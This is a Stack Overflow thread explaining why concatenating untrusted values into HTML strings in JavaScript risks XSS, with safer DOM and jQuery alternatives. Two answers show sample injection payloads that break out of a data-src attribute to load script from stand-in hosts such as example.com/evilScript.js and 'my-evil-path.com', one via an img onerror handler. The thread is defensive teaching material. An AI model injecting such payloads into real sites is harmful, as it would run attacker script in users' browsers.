Is it really unsafe to create HTML strings in Javascript?

The company that hosts our site looks at our code before deployment - they recently informed us about this:

HTML strings should never be directly manipulated, as this opens up to the potential holes in XSS. Instead, always use the DOM api to create elements ... that can be jQuery or the direct DOM apis.

For example, instead of

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' ); 

They tell us to do

 var quizAuLink = $( 'a' ); quizAuLink.addClass( 'quiz-au' ); quizAuLink.data( 'src', this.au ); quizAu.text( 'Click to play' ); quizAu.prepend( '<span class="quiz-au-icon"></span>' ); 

It's true? Can someone give us an example of an XSS attack that could use an HTML string like the first?

+46
javascript html security xss
Nov 18. '14 at 9:35
source share
4 answers

If this.au somehow modified, it may contain something like this:

 "><script src="http://example.com/evilScript.js"></script><span class=" 

This will corrupt your HTML and inject the script:

 <a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a> 

If you use DOM manipulation to set the src , script attribute (or any other XSS that you use), it will not be executed, as it will be properly escaped by the DOM API.




In response to some commentators who say that if someone can change this.au , they can run the script themselves: I don’t know where this.au comes this.au , and it doesn’t really matter, It could be a value from the database , and the database could be compromised. This may be a malicious user trying to ruin the work of other users. It could even be an innocent non-tech who didn't understand that writing "def" > "abc" destroy things.




One more thing. In the code you specified, var quizAuLink = $( 'a' ); will not create a new <a> element. He will simply select all existing ones. You need to use var quizAuLink = $( '<a>' ); to create a new one.

+67
Nov 18 '14 at 9:40
source share

This should be just as safe without overcomplicating readability:

 var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>'); link.data("src", this.au); 

Avoid string operations to build HTML strings. Note that above, I used $() only to parse a constant string, which parses for a well-known result. In this example, only part of this.au dangerous, because it can contain dynamically calculated values.

+14
Nov 18 '14 at 13:03
source share

Since you cannot enter script tags in modern browsers using .innerHTML , you will need to listen for the event:

If this.au somehow modified, it may contain something like this:

 "><img src="broken-path.png" onerror="alert('my injection');"><span class=" 

This will corrupt your HTML and inject the script:

 <a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a> 

And due to the fact that onerror is installed to run large JavaScript blocks:

 var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s); 

Thanks Scimoster for the template

+12
Nov 18 '14 at 9:46
source share

Security aside, when you create HTML in JavaScript, you need to make sure that it is valid. Although you can create and sanitize HTML using string manipulation *, manipulating the DOM is much more convenient. However, you must know exactly which part of your line is HTML and which is literal text.

Consider the following example, where we have two hard-coded variables:

 var href = "/detail?tag=hr&copy%5B%5D=1", text = "The HTML <hr> tag"; 

The following code naively builds an HTML string:

 var div = document.createElement("div"); div.innerHTML = '<a href="' + href + '">' + text + '</a>'; console.log(div.innerHTML); // <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a> 

In this case, jQuery is used, but it is still incorrect (it uses .html() for the variable that should have been text):

 var div = document.createElement("div"); $("<a></a>").attr("href", href).html(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML <hr> tag</a> 

This is correct because it displays the text as it sees fit:

 var div = document.createElement("div"); $("<a></a>").attr("href", href).text(text).appendTo(div); console.log(div.innerHTML); // <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML &lt;hr&gt; tag</a> 

Conclusion: Using DOM manipulation / jQuery does not guarantee any security, but it is certainly one step in the right direction.




* See this question for an example . Both string and DOM manipulations are discussed.

+1
Nov 19 '14 at 6:04
source share



All Articles